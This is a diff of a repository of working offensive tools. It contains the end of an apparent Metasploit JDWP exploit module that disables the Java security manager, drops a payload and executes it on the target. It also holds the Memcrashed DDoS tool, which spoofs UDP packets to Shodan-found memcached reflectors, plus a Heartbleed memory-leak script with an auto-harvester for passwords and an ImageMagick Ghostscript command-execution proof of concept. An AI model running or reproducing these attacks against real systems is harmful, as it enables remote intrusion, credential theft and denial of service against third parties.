def read_string(data)
data_len = data.unpack('N')[0]
data.slice!(0..3)
return data.slice!(0,data_len)
end
# Creates a new string object in the target VM and returns its id
def create_string(data)
buf = build_string(data)
sock.put(create_packet(CREATESTRING_SIG, buf))
buf = read_reply
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
end
# Packs normal string into string structure for target VM
def build_string(data)
ret = [data.length].pack('N')
ret << data
ret
end
# Pack Fixnum for JDWP protocol
def format(fmt, value)
if fmt == "L" || fmt == 8
return [value].pack('Q>')
elsif fmt == "I" || fmt == 4
return [value].pack('N')
end
fail_with(Failure::Unknown, "Unknown format")
end
# Unpack Fixnum from JDWP protocol
def unformat(fmt, value)
if fmt == "L" || fmt == 8
return value[0..7].unpack('Q>')[0]
elsif fmt == "I" || fmt == 4
return value[0..3].unpack('N')[0]
end
fail_with(Failure::Unknown, "Unknown format")
end
# Parses given data according to a set of formats
def parse_entries(buf, formats, explicit=true)
entries = []
if explicit
nb_entries = buf.unpack('N')[0]
buf.slice!(0..3)
else
nb_entries = 1
end
nb_entries.times do |var|
if var != 0 && var % 1000 == 0
vprint_status("Parsed #{var} classes of #{nb_entries}")
end
data = {}
formats.each do |fmt,name|
if fmt == "L" || fmt == 8
data[name] = buf.unpack('Q>')[0]
buf.slice!(0..7)
elsif fmt == "I" || fmt == 4
data[name] = buf.unpack('N')[0]
buf.slice!(0..3)
elsif fmt == "S"
data_len = buf.unpack('N')[0]
buf.slice!(0..3)
data[name] = buf.slice!(0,data_len)
elsif fmt == "C"
data[name] = buf.unpack('C')[0]
buf.slice!(0)
elsif fmt == "Z"
t = buf.unpack('C')[0]
buf.slice!(0)
if t == 115
data[name] = solve_string(buf.slice!(0..7))
elsif t == 73
data[name], buf = buf.unpack('NN')
end
else
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
end
end
entries.append(data)
end
entries
end
# Gets the sizes of variably-sized data types in the target VM
def get_sizes
formats = [
["I", "fieldid_size"],
["I", "methodid_size"],
["I", "objectid_size"],
["I", "referencetypeid_size"],
["I", "frameid_size"]
]
sock.put(create_packet(IDSIZES_SIG))
response = read_reply
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
# Gets the JDWP version implemented by the target VM
def get_version
formats = [
["S", "descr"],
["I", "jdwp_major"],
["I", "jdwp_minor"],
["S", "vm_version"],
["S", "vm_name"]
]
sock.put(create_packet(VERSION_SIG))
response = read_reply
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
def version
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
end
# Returns reference for all threads currently running on target VM
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
response = read_reply
num_threads = response.unpack('N').first
response.slice!(0..3)
size = @vars["objectid_size"]
num_threads.times do
t_id = unformat(size, response[0..size-1])
@threads[t_id] = nil
response.slice!(0..size-1)
end
end
# Returns reference types for all classes currently loaded by the target VM
def get_all_classes
return unless @classes.empty?
formats = [
["C", "reftype_tag"],
[@vars["referencetypeid_size"], "reftype_id"],
["S", "signature"],
["I", "status"]
]
sock.put(create_packet(ALLCLASSES_SIG))
response = read_reply
@classes.append(parse_entries(response, formats))
end
# Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name(name)
@classes.each do |entry_array|
entry_array.each do |entry|
if entry["signature"].downcase == name.downcase
return entry
end
end
end
nil
end
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
# The list of methods will include constructors (identified with the name "<init>")
def get_methods(reftype_id)
if @methods.has_key?(reftype_id)
return @methods[reftype_id]
end
formats = [
[@vars["methodid_size"], "method_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, ref_id))
response = read_reply
@methods[reftype_id] = parse_entries(response, formats)
end
# Returns information for each field in a reference type (ie. object)
def get_fields(reftype_id)
formats = [
[@vars["fieldid_size"], "field_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(FIELDS_SIG, ref_id))
response = read_reply
fields = parse_entries(response, formats)
fields
end
# Returns the value of one static field of the reference type. The field must be member of the reference type
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
# for example, the values of private fields can be obtained.
def get_value(reftype_id, field_id)
data = format(@vars["referencetypeid_size"],reftype_id)
data << [1].pack('N')
data << format(@vars["fieldid_size"],field_id)
sock.put(create_packet(GETVALUES_SIG, data))
response = read_reply
num_values = response.unpack('N')[0]
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
fail_with(Failure::Unknown, "Bad response when getting value for field")
end
response.slice!(0..4)
len = @vars["objectid_size"]
value = unformat(len, response)
value
end
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
# the field's type exactly. For object values, there must exist a widening reference conversion from the
# value's type to the field's type and the field's type must be loaded.
def set_value(reftype_id, field_id, value)
data = format(@vars["referencetypeid_size"],reftype_id)
data << [1].pack('N')
data << format(@vars["fieldid_size"],field_id)
data << format(@vars["objectid_size"],value)
sock.put(create_packet(SETSTATICVALUES_SIG, data))
read_reply
end
# Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name(classname, name, signature = nil)
@methods[classname].each do |entry|
if signature.nil?
return entry if entry["name"].downcase == name.downcase
else
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
return entry
end
end
end
nil
end
# Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class)
unless target_class
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
end
get_methods(target_class["reftype_id"])
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
unless target_method
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
end
return target_class, target_method
end
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
def str_to_fq_class(s)
i = s.rindex(".")
unless i
fail_with(Failure::BadConfig, 'Bad defined break class')
end
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
classname = 'L'
classname << s[0..i-1].gsub(/[.]/, '/')
classname << ';'
return classname, method
end
# Gets the status of a given thread
def thread_status(thread_id)
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
buf = read_reply(datastore['BREAK_TIMEOUT'])
unless buf
fail_with(Failure::Unknown, "No network response")
end
status, suspend_status = buf.unpack('NN')
status
end
# Resumes execution of the application or thread after the suspend command or an event has stopped it
def resume_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(RESUMEVM_SIG))
else
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply(datastore['BREAK_TIMEOUT'])
unless response
fail_with(Failure::Unknown, "No network response")
end
response
end
# Suspend execution of the application or thread
def suspend_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(SUSPENDVM_SIG))
else
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply
unless response
fail_with(Failure::Unknown, "No network response")
end
response
end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args)
data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C')
data << [args.length].pack('N')
args.each do |kind,option|
data << [kind].pack('C')
data << option
end
sock.put(create_packet(EVENTSET_SIG, data))
response = read_reply
unless response
fail_with(Failure::Unknown, "#{peer} - No network response")
end
return response.unpack('N')[0]
end
# Parses a received event and compares it with the expected
def parse_event(buf, event_id, thread_id)
len = @vars["objectid_size"]
return false if buf.length < 10 + len - 1
r_id = buf[6..9].unpack('N')[0]
t_id = unformat(len,buf[10..10+len-1])
return (event_id == r_id) && (thread_id == t_id)
end
# Clear a defined event request
def clear_event(event_code, r_id)
data = [event_code].pack('C')
data << [r_id].pack('N')
sock.put(create_packet(EVENTCLEAR_SIG, data))
read_reply
end
# Invokes a static method. The method must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
# methods can be invoked.
def invoke_static(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
buf = read_reply
buf
end
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
# can be invoked.
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["referencetypeid_size"], class_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKEMETHOD_SIG, data))
buf = read_reply
buf
end
# Creates a new object of specified class, invoking the specified constructor. The constructor
# method ID must be a member of the class type.
def create_instance(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
buf = read_reply
buf
end
# Creates a byte[]
def create_array(len)
target_class = get_class_by_name("[B")
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
type_id = target_class["reftype_id"]
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
data = format(@vars["referencetypeid_size"], type_id)
data << [len].pack('N')
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
buf = read_reply
buf
end
# Initializes the byte[] with values
def set_values(obj_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << [0].pack('N')
data << [args.length].pack('N')
args.each do |arg|
data << [arg].pack('C')
end
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
read_reply
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
# Configures payload according to targeted architecture
def setup_payload
# 1. Setting up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe
# 2. Setting up arch specific...
case target['Platform']
when 'linux'
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
if @os.downcase =~ /win/
print_warning("#{@os} system detected but using Linux target...")
end
when 'win'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
unless @os.downcase =~ /win/
print_warning("#{@os} system detected but using Windows target...")
end
end
return payload_exe, pl_exe
end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os(thread_id)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string("os.name")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets property
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
str = unformat(size, buf[1..1+size-1])
@os = solve_string(format(@vars["objectid_size"],str))
end
# Creates a file on the server given a execution thread
def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename)
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
file = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
register_files_for_cleanup(filename)
file
end
# Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
buf = create_array(pl_exe.length)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
pl = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
set_values(pl, pl_exe.bytes)
pl
end
# Dumps the payload on a opened server file given a execution thread
def dump_payload(thread_id, file, pl)
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, pl)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while writing to file")
end
end
# Closes a file on the server given a execution thread
def close_file(thread_id, file)
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while closing file")
end
end
# Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command(thread_id, cmd)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd)
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
rt = unformat(size, buf[1..1+size-1])
if rt.nil? || (rt == 0)
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
end
# 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
if exec_meth.nil?
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
end
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
end
# Set event for stepping into a running thread
def set_step_event
# 1. Select a thread in sleeping status
t_id = nil
@threads.each_key do |thread|
if thread_status(thread) == THREAD_SLEEPING_STATUS
t_id = thread
break
end
end
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
# 2. Suspend the VM before setting the event
suspend_vm
vprint_status("Setting 'step into' event in thread: #{t_id}")
step_info = format(@vars["objectid_size"], t_id)
step_info << [STEP_MIN].pack('N')
step_info << [STEP_INTO].pack('N')
data = [[MODKIND_STEP, step_info]]
r_id = send_event(EVENT_STEP, data)
unless r_id
fail_with(Failure::Unknown, "Could not set the event")
end
return r_id, t_id
end
# Disables security manager if it's set on target JVM
def disable_sec_manager
sys_class = get_class_by_name("Ljava/lang/System;")
fields = get_fields(sys_class["reftype_id"])
sec_field = nil
fields.each do |field|
sec_field = field["field_id"] if field["name"].downcase == "security"
end
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
value = get_value(sys_class["reftype_id"], sec_field)
if(value == 0)
print_good("Security manager was not set")
else
set_value(sys_class["reftype_id"], sec_field, 0)
if get_value(sys_class["reftype_id"], sec_field) == 0
print_good("Security manager has been disabled")
else
print_good("Security manager has not been disabled, trying anyway...")
end
end
end
# Uploads & executes the payload on the target VM
def exec_payload(thread_id)
# 0. Fingerprinting OS
fingerprint_os(thread_id)
vprint_status("Executing payload on \"#{@os}\", target version: #{version}")
# 1. Prepares the payload
payload_exe, pl_exe = setup_payload
# 2. Creates file on server for dumping payload
file = create_file(thread_id, payload_exe)
# 3. Uploads payload to the server
pl = upload_payload(thread_id, pl_exe)
# 4. Dumps uploaded payload into file on the server
dump_payload(thread_id, file, pl)
# 5. Closes the file on the server
close_file(thread_id, file)
# 5b. When linux arch, give execution permissions to file
if target['Platform'] == 'linux'
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd)
end
# 6. Executes the dumped payload
cmd = "#{payload_exe}"
execute_command(thread_id, cmd)
end
def exploit
@my_id = 0x01
@vars = {}
@classes = []
@methods = {}
@threads = {}
@os = nil
connect
unless handshake == HANDSHAKE
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
end
print_status("Retrieving the sizes of variable sized data types in the target VM...")
get_sizes
print_status("Getting the version of the target VM...")
get_version
print_status("Getting all currently loaded classes by the target VM...")
get_all_classes
print_status("Getting all running threads in the target VM...")
get_all_threads
print_status("Setting 'step into' event...")
r_id, t_id = set_step_event
print_status("Resuming VM and waiting for an event...")
response = resume_vm
unless parse_event(response, r_id, t_id)
datastore['NUM_RETRIES'].times do |i|
print_status("Received #{i + 1} responses that are not a 'step into' event...")
buf = read_reply
break if parse_event(buf, r_id, t_id)
if i == datastore['NUM_RETRIES']
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
end
end
end
vprint_status("Received matching event from thread #{t_id}")
print_status("Deleting step event...")
clear_event(EVENT_STEP, r_id)
print_status("Disabling security manager if set...")
disable_sec_manager
print_status("Dropping and executing payload...")
exec_payload(t_id)
disconnect
end
end

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

View File

@ -0,0 +1,12 @@
FROM alpine:latest
RUN apk add --update python3 py3-pip git tcpdump
RUN git clone https://github.com/649/Memcrashed-DDoS-Exploit.git Memcrashed
WORKDIR Memcrashed
# COPY requirements.txt .
# COPY api.txt .
# COPY bots.txt .
RUN pip3 install -r requirements.txt
ENTRYPOINT ["python3", "Memcrashed.py"]

View File

@ -0,0 +1,161 @@
#-- coding: utf8 --
#!/usr/bin/env python3
import sys, os, time, shodan
from pathlib import Path
from scapy.all import *
from contextlib import contextmanager, redirect_stdout
starttime = time.time()
@contextmanager
def suppress_stdout():
with open(os.devnull, "w") as devnull:
with redirect_stdout(devnull):
yield
class color:
HEADER = '\033[0m'
keys = Path("./api.txt")
logo = color.HEADER + '''
Author: @037
Version: 3.2
####################################### DISCLAIMER ########################################
| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |
| memcached servers. It then allows you to use the same servers to launch widespread |
| distributed denial of service attacks by forging UDP packets sourced to your victim. |
| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
###########################################################################################
'''
print(logo)
if keys.is_file():
with open('api.txt', 'r') as file:
SHODAN_API_KEY=file.readline().rstrip('\n')
else:
file = open('api.txt', 'w')
SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
file.write(SHODAN_API_KEY)
print('[~] File written: ./api.txt')
file.close()
while True:
api = shodan.Shodan(SHODAN_API_KEY)
print('')
try:
myresults = Path("./bots.txt")
query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower()
if query.startswith('y'):
print('')
print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
results = api.search('product:"Memcached" port:11211')
print('[✓] API Key Authentication: SUCCESS')
print('[~] Number of bots: %s' % results['total'])
print('')
saveresult = input("[*] Save results for later usage? <Y/n>: ").lower()
if saveresult.startswith('y'):
file2 = open('bots.txt', 'a')
for result in results['matches']:
file2.write(result['ip_str'] + "\n")
print('[~] File written: ./bots.txt')
print('')
file2.close()
saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower()
if myresults.is_file():
if saveme.startswith('y'):
with open('bots.txt') as my_file:
ip_array = [line.rstrip() for line in my_file]
else:
print('')
print('[✘] Error: No bots stored locally, bots.txt file not found!')
print('')
if saveme.startswith('y') or query.startswith('y'):
print('')
target = input("[▸] Enter target IP address: ")
power = int(input("[▸] Enter preferred power (Default 1): ") or "1")
data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
print('')
if query.startswith('y'):
iplist = input('[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()
if iplist.startswith('y'):
print('')
counter= int(0)
for result in results['matches']:
host = api.host('%s' % result['ip_str'])
counter=counter+1
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
time.sleep(1.1 - ((time.time() - starttime) % 1.1))
if saveme.startswith('y'):
iplistlocal = input('[*] Would you like to display all the bots stored locally? <Y/n>: ').lower()
if iplistlocal.startswith('y'):
print('')
counter= int(0)
for x in ip_array:
host = api.host('%s' % x)
counter=counter+1
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))
time.sleep(1.1 - ((time.time() - starttime) % 1.1))
print('')
engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower()
if engage.startswith('y'):
if saveme.startswith('y'):
for i in ip_array:
if power>1:
print('[+] Sending %d forged UDP packets to: %s' % (power, i))
with suppress_stdout():
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
elif power==1:
print('[+] Sending 1 forged UDP packet to: %s' % i)
with suppress_stdout():
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
else:
for result in results['matches']:
if power>1:
print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))
with suppress_stdout():
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
elif power==1:
print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])
with suppress_stdout():
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
print('')
print('[•] Task complete! Exiting Platform. Have a wonderful day.')
break
else:
print('')
print('[✘] Error: %s not engaged!' % target)
print('[~] Restarting Platform! Please wait.')
print('')
else:
print('')
print('[✘] Error: No bots stored locally or remotely on Shodan!')
print('[~] Restarting Platform! Please wait.')
print('')
except shodan.APIError as e:
print('[✘] Error: %s' % e)
option = input('[*] Would you like to change API Key? <Y/n>: ').lower()
if option.startswith('y'):
file = open('api.txt', 'w')
SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')
file.write(SHODAN_API_KEY)
print('[~] File written: ./api.txt')
file.close()
print('[~] Restarting Platform! Please wait.')
print('')
else:
print('')
print('[•] Exiting Platform. Have a wonderful day.')
break

View File

@ -0,0 +1,52 @@
# MEMCRASHED DDOS EXPLOIT TOOL
* Author: [@037](https://twitter.com/037)
This tool allows you to send forged UDP packets to Memcached servers obtained from Shodan.io
### Prerequisites
The only thing you need installed is Python 3.x
```
apt-get install python3
```
You also require to have Scapy and Shodan modules installed
```
pip install scapy
```
```
pip install shodan
```
### Using Shodan API
This tool requires you to own an upgraded Shodan API
You may obtain one for free in [Shodan](https://shodan.io/) if you sign up using a .edu email
![alt text](https://raw.githubusercontent.com/649/Memcrashed-DDoS-Exploit/master/2.png)
![alt text](https://raw.githubusercontent.com/649/Memcrashed-DDoS-Exploit/master/1.png)
![alt text](https://raw.githubusercontent.com/649/Memcrashed-DDoS-Exploit/master/3.png)
![alt text](https://raw.githubusercontent.com/649/Memcrashed-DDoS-Exploit/master/4.png)
### Using Docker
##### [Demo](https://asciinema.org/a/v1AEEa17xzqUfyW4pEIS0JONW)
You may deploy this tool to the cloud using a light Alpine Docker image.
> Note: Make sure to explicitly enter 'y' or 'n' to the interactive prompt
```bash
git clone https://github.com/649/Memcrashed-DDoS-Exploit.git
cd Memcrashed-DDoS-Exploit
echo "SHODAN_KEY" > api.txt
docker build -t memcrashed .
docker run -it memcrashed
```

View File

@ -0,0 +1,2 @@
scapy==2.4.0rc5
shodan==1.7.7

View File

@ -0,0 +1,14 @@
import os
import re
import time
import threading
while True:
Dict = ["url"] #这里填写url
for url in Dict:
cmd = "python ./openssl.py "+url
result = os.popen(cmd).read()
if result.find("passWord")>0:
print url,time.asctime()
with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
f.write(result)
time.sleep(1)

View File

@ -0,0 +1,7 @@
### OpenSSL心脏滴血漏洞利用工具
## 利用方法
* 测试方法为`python openssl.py url` 如果显示server vul 说明存在
* 自动获取信息并且将其存入data_1文件夹的txt中,`python Auto.py` 将Auto.py里面的Dict里面加入你想要测试的url.可以根据需求自己修改脚本。

View File

@ -0,0 +1,137 @@
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
pdat = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print '%s' % (pdat.replace('......', ''),)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()

View File

@ -0,0 +1,31 @@
# ImageMagick Ghostscript RCE
## POC
### Centos
```
$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
```
### Ubuntu
```
$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
```
## Enjoy!

View File

@ -0,0 +1,36 @@
import java.io.IOException;
/**
* Classe serializável (implementa serializable) usada no primeiro exemplo
